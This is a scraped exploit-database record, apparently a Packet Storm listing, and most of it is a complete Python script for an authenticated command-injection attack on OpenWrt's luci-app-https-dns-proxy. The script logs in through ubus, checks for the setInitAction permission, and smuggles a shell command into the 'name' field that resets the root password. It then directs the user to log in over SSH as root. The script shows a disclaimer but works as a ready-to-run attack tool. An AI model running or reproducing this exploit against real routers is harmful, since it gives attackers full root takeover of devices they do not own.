{“lastseen”:”2026-05-05T21:30:16″,”description”:”OpenWrt version 23.05 suffers from an authenticated remote code execution vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenWrt 23.05 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220377″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: OpenWrt 23.05 – Authenticated Remote Code Execution (RCE)\\n # Date: 2026-01-17\\n # Exploit Author: Ahmet Mersin\\n # Vendor Homepage: https:\/\/github.com\/stangri\/luci-app-https-dns-proxy\\n # Software Link: https:\/\/github.com\/stangri\/luci-app-https-dns-proxy\\n # Version: All versions prior to 2026-01-17\\n # Tested on: OpenWrt 23.05\\n # CVE : Pending\\n \\n \\”\\”\\”\\n OpenWrt luci-app-https-dns-proxy Root Takeover Exploit\\n CVE-202X-XXXXX – Local Privilege Escalation via Command Injection\\n \\n \\n import requests\\n import sys\\n import getpass\\n \\n def banner():\\n print(\\”\\”\\”\\n \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n \u2551 OpenWrt https-dns-proxy Root Takeover Exploit \u2551\\n \u2551 CVE-202X-XXXXX | Privilege Escalation via Command Injection \u2551\\n \u2551 \u2551\\n \u2551 Developed by: ahmetmersin.com \u2551\\n \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n \\”\\”\\”)\\n \\n def get_user_input():\\n print(\\”[*] Target Router Information:\\”)\\n target_ip = input(\\” Router IP [192.168.1.1]: \\”).strip() or \\”192.168.1.1\\”\\n \\n print(\\”\\\\n[*] Limited User Credentials (user with https-dns-proxy ACL):\\”)\\n username = input(\\” Username: \\”).strip()\\n if not username:\\n print(\\”[-] Username cannot be empty!\\”)\\n sys.exit(1)\\n password = getpass.getpass(\\” Password: \\”)\\n if not password:\\n print(\\”[-] Password cannot be empty!\\”)\\n sys.exit(1)\\n \\n print(\\”\\\\n[*] New Root Password:\\”)\\n new_root_pass = getpass.getpass(\\” Enter new root password: \\”)\\n if not new_root_pass:\\n print(\\”[-] Password cannot be empty!\\”)\\n sys.exit(1)\\n \\n confirm_pass = getpass.getpass(\\” Confirm new root password: \\”)\\n \\n if new_root_pass != confirm_pass:\\n print(\\”\\\\n[-] Passwords do not match!\\”)\\n sys.exit(1)\\n \\n return target_ip, username, password, new_root_pass\\n \\n def login(target_ip, username, password):\\n print(f\\”\\\\n[*] Authenticating as ‘{username}’…\\”)\\n endpoint = f\\”http:\/\/{target_ip}\/ubus\\”\\n \\n payload = {\\n \\”jsonrpc\\”: \\”2.0\\”, \\”id\\”: 1, \\”method\\”: \\”call\\”,\\n \\”params\\”: [\\n \\”00000000000000000000000000000000\\”, \\n \\”session\\”, \\”login\\”, \\n {\\”username\\”: username, \\”password\\”: password}\\n ]\\n }\\n \\n try:\\n r = requests.post(endpoint, json=payload, timeout=10)\\n response = r.json()\\n \\n if \\”result\\” in response and response[\\”result\\”] and len(response[\\”result\\”]) \\u003e 1:\\n result = response[\\”result\\”][1]\\n if \\”ubus_rpc_session\\” in result:\\n token = result[\\”ubus_rpc_session\\”]\\n print(f\\”[+] Login successful! Session token: {token[:16]}…\\”)\\n \\n # Check if user has the vulnerable permission\\n acls = result.get(\\”acls\\”, {}).get(\\”ubus\\”, {})\\n if \\”luci.https-dns-proxy\\” in acls:\\n if \\”setInitAction\\” in acls[\\”luci.https-dns-proxy\\”]:\\n print(f\\”[+] User has access to vulnerable function!\\”)\\n return token, endpoint\\n \\n print(\\”[-] User does not have ‘setInitAction’ permission!\\”)\\n return None, None\\n \\n print(f\\”[-] Login failed: {response}\\”)\\n return None, None\\n \\n except requests.exceptions.ConnectionError:\\n print(f\\”[-] Connection error: Cannot reach {target_ip}\\”)\\n return None, None\\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n return None, None\\n \\n def change_root_password(endpoint, session_id, new_password):\\n print(f\\”\\\\n[*] Changing root password…\\”)\\n \\n # Payload: Use passwd with printf to change root password\\n malicious_name = f\\”x; printf ‘{new_password}\\\\\\\\n{new_password}\\\\\\\\n’ | passwd root; echo done \\u003e\\”\\n \\n payload = {\\n \\”jsonrpc\\”: \\”2.0\\”, \\”id\\”: 666, \\”method\\”: \\”call\\”,\\n \\”params\\”: [\\n session_id,\\n \\”luci.https-dns-proxy\\”,\\n \\”setInitAction\\”,\\n {\\”name\\”: malicious_name, \\”action\\”: \\”start\\”}\\n ]\\n }\\n \\n try:\\n r = requests.post(endpoint, json=payload, timeout=10)\\n response = r.json()\\n \\n print(f\\”[*] Response: {response}\\”)\\n \\n # Check if result is True (command executed successfully)\\n if \\”result\\” in response and len(response[\\”result\\”]) \\u003e 1:\\n result_data = response[\\”result\\”][1]\\n if isinstance(result_data, dict) and result_data.get(\\”result\\”) == True:\\n print(f\\”\\\\n\\” + \\”=\\”*60)\\n print(f\\”[+] EXPLOIT SUCCESSFUL!\\”)\\n print(f\\”=\\”*60)\\n ip = endpoint.split(‘\/\/’)[1].split(‘\/’)[0]\\n print(f\\”\\\\n[*] You can now login with the new root password:\\”)\\n print(f\\” ssh root@{ip}\\”)\\n print(f\\” Password: \\u003cyour new password\\u003e\\”)\\n return True\\n else:\\n print(f\\”\\\\n\\” + \\”=\\”*60)\\n print(f\\”[-] EXPLOIT FAILED – Command was blocked!\\”)\\n print(f\\”=\\”*60)\\n print(f\\”\\\\n[!] The target may have been patched.\\”)\\n return False\\n else:\\n print(f\\”[-] Unexpected response format\\”)\\n return False\\n \\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n return False\\n \\n def main():\\n banner()\\n \\n print(\\”[!] WARNING: This tool is for authorized security testing only!\\”)\\n print(\\”[!] Unauthorized access to computer systems is illegal.\\\\n\\”)\\n \\n confirm = input(\\”Do you have permission to test this target? [y\/N]: \\”).strip().lower()\\n if confirm != ‘y’:\\n print(\\”Aborted.\\”)\\n sys.exit(0)\\n \\n target_ip, username, password, new_root_pass = get_user_input()\\n \\n session_id, endpoint = login(target_ip, username, password)\\n \\n if session_id:\\n success = change_root_password(endpoint, session_id, new_root_pass)\\n if success:\\n print(\\”\\\\n[+] Exploit completed! Test SSH access with the new password.\\”)\\n else:\\n print(\\”\\\\n[-] Authentication failed. Exploit aborted.\\”)\\n sys.exit(1)\\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220377″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220377\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T21:30:16″,”description”:”OpenWrt version 23.05 suffers from an authenticated remote code execution vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenWrt 23.05 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220377″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: OpenWrt 23.05 – Authenticated Remote Code Execution…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-51568","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n